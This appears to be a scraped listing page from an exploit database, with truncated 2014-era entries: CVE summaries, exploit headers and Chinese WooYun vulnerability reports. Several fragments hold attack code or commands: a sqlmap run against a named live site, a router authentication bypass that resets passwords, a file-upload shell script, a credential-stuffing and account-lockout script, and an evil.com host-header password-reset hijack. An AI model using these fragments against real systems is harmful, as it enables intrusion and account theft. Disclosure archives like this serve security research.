WhatsApp Remote Crash On Android

!/usr/bin/python -- coding: utf-8 - Title: WhatsApp Remote Reboot/Crash App Android Product: WhatsApp Vendor Homepage: http://www.whatsapp.com Vulnerable Versions: 2.11.476 Tested on: WhatsApp v2.11.476 on MotoG 2014 -Android 4.4.4 Date: 26/12/2014 RemoteExecution - www.remoteexecution.net Author...

CVE-2004-2771

The expand function in fio.c in Heirloom mailx 12.5 and earlier and BSD mailx 8.1.2 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in an email address...

Shopex开放平台某处SQL注入

简要描述： Shopexopen平台Sql注入 详细说明： open平台： sqlmap -u 'http://open.shopex.cn/docs/apisearch/?methodtypeid=22&docskeyword=&platformid=0' 漏洞证明： 截图：...

CVE-2014-9357

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted 1 image or 2 build in a Dockerfile in an LZMA .xz archive, related to the chroot for archive extraction...

WordPress Plugin Symposium 14.10 - SQL Injection

WordPress Plugin Symposium 14.10 - SQL Injection Exploit Title: WP Symposium 14.10 SQL Injection Date: 22-10-2014 Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek Software Link: https://downloads.wordpress.org/plugin/wp-symposium.14.10.zip Category: webap...

Device42 Traceroute Command Injection

This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 'WAN Emulator v2.3 Command Execution', 'Description' = %q , 'License' = MSFLICENSE, 'Privileged' = true, 'Platform' = 'unix', 'Arch' =...

Arris VAP2500 - Authentication Bypass

Arris VAP2500 - Authentication Bypass !/usr/bin/env ruby require 'net/http' require 'digest/md5' if !ARGV0 puts "Usage: $0 " exit0 end host = ARGV0 newpass = "h4x0r3d!" http = Net::HTTP.newhost.start users = nil users = http.requestget"/admin.conf".body.split"\n".map! |user| user.sub/^.?,.$/,"\1"...

Arris VAP2500 - Authentication Bypass

!/usr/bin/env ruby require 'net/http' require 'digest/md5' if !ARGV0 puts "Usage: $0 " exit0 end host = ARGV0 newpass = "h4x0r3d!" http = Net::HTTP.newhost.start users = nil users = http.requestget"/admin.conf".body.split"\n".map! |user| user.sub/^.?,.$/,"\1" if users puts " found user accounts:...

Atrax Botnet Shell Upload Vulnerability

Exploit for php platform in category web applications import random import string import base64 import urllib import urllib2 payload = '' url = 'http://localhost/atrax/' BOTMODEINSERT = 'b' BOT MODE BOTMODERUNPLUGIN = 'e' GETPARAMMODE = 'a' GET PARAM POSTPARAMGUID = 'h' POST PARAM POSTPARAMIP = '...

Belkin Router Information Disclosure

Remote information disclosure Vulnerability Type: File Disclosure For the exploit source code contact DSquare Security sales team...

D-LINK Remote Command Execution

Unauthenticated Remote Command Execution Vulnerability Type: Remote Command Execution For the exploit source code contact DSquare Security sales team...

某通用型校园校务系统SQL注入之二

简要描述： boom！！！ 详细说明： 厂商：南京苏亚星资讯科技开发有限公司 漏洞位于：/SM2005/jiaoshi/InfoSet/Left.asp?id= id参数没有过滤，导致注射。 直接访问http://www.sdwhys.com/SM2005/jiaoshi/InfoSet/ 有个越权报错，查看源代码可以拼接成注入链接 百度关键字:/SM2005 列举5个案例证明通用性： http://www.sdwhys.com/SM2005/jiaoshi/InfoSet/Left.asp?id=0 Place: GET Parameter: id Type: stacked...

Feng Office 1.7.4 - Arbitrary File Upload

No description provided by source...

Mouse Media Script 1.6 0 - Stored XSS Vulnerability

No description provided by source. Exploit Title: Mouse Media Script Stored XSS Vulnerability Google Dork: "is your best source of fun." inurl:/view/popular Date: 04-10-2014 Exploit Author: Halil Dalabasmaz Version: v1.6 Software Link: http://codecanyon.net/item/mouse-media-script/7773254 Softwar...

phpwind登录处可撞库可锁定他人帐号

简要描述： Phpwind在登录处可以撞库官网演示 以及锁定他人帐号，可持续批量锁定是不是很爽，未测试。。。。。 开启验证码也可绕过。 详细说明： 黑盒测试的直接说怎么用吧。 1. 我们先把所有帐号的用户提取出来。 代码如下 def getuid: con=urllib2.urlopen"http://www.phpwind.net/index.php?m=space&uid="+struid.read r=re.compile'\S+的个人空间' return r.findallcon 2. 再来做个社工库的接口，根据用户名提取密码。 def getpassname:...

ZTE Modem ZXDSL 531BIIV7.3.0f_D09_IN - Persistent Cross-Site Scripting

Exploit Title: ZTE Modem Stored XSS Vulnerability Date: 30-10-2014 Exploit Author: Ravi Rajput aka Gr3y n00b IHT team Version: ZXDSL 531BIIV7.3.0fD09IN Software Link:http://wwwen.zte.com.cn Tested on : Windows 7 code : GET...

Feng Office 1.7.4 - XSS / Arbitrary File Upload Exploit

Exploit for php platform in category web applications Source: http://www.securityfocus.com/bid/47049/info alert0" / alert0" / --------------------------------------------- Feng Office 1.7.4 - Arbitrary File Upload --------------------------------------------- import socket host = 'localhost' path...

Feng Office 1.7.4 - Arbitrary File Upload

import socket host = 'localhost' path = '/fengcommunity' shellpath = '/tmp' port = 80 def uploadshell: s = socket.socketsocket.AFINET, socket.SOCKSTREAM s.connecthost, port s.settimeout8 s.send'POST ' + path + '/public/assets/javascript/ckeditor/ckuploadhandler.php HTTP/1.1\r\n' 'Host:...

Сross-Site Request Forgery (CSRF) in xEpan

High-Tech Bridge Security Research Lab discovered vulnerability in xEpan, which can be exploited to compromise vulnerable web site. 1 Сross-Site Request Forgery CSRF in xEpan: CVE-2014-8429 The vulnerability exists due to insufficient validation of the HTTP request origin when creating new user...

Discuz! 多个版本HTTP host头攻击漏洞

简要描述： 怎么没人提交此类漏洞？那就让我先来吧！ 详细说明： http://drops.wooyun.org/papers/1383 首先向James Kettle致敬 下面以Discuz! X3.2为例，作个演示 漏洞证明： 以http://bbs.locojoy.com/为例， 1.易得其ip为 115.29.162.113 2.向hosts添加条目 115.29.162.113 www.evil.com 3.访问http://www.evil.com 找回密码，输入攻击目标的email，提交 4.受害人收到email...